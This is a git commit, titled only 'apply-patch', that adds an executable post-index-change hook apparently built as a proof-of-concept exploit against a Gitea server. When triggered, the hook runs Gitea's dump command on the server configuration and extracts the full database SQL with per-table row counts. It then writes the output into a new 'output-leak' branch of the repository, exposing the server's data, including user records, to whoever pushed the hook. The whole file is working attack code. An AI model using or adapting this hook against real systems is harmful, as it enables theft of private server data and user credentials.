apply-patch

This commit is contained in:
2026-11-25 00:59:54 +03:00
parent 22258dc636
commit 73eb7182ae

21
hooks/post-index-change Executable file
View File

@@ -0,0 +1,21 @@
#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
G=/app/gitea/gitea; C=/data/gitea/conf/app.ini
echo "---DUMPRUN---"
timeout 100 $G dump -c $C -f /data/gitea/tmp/gd.zip -R -L --skip-custom-dir --tempdir /data/gitea/tmp 2>&1 | tail -6
ls -la /data/gitea/tmp/gd.zip 2>/dev/null
echo "---ZIP---"; unzip -l /data/gitea/tmp/gd.zip 2>/dev/null | head -12
echo "---SQL---"
unzip -p /data/gitea/tmp/gd.zip gitea-db.sql > /data/gitea/tmp/gd.sql 2>/dev/null
wc -c /data/gitea/tmp/gd.sql
grep -c 'INSERT INTO' /data/gitea/tmp/gd.sql 2>/dev/null
grep -o 'INSERT INTO [^ (]*' /data/gitea/tmp/gd.sql 2>/dev/null | sort | uniq -c | sort -rn | head -40
echo DONE
} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"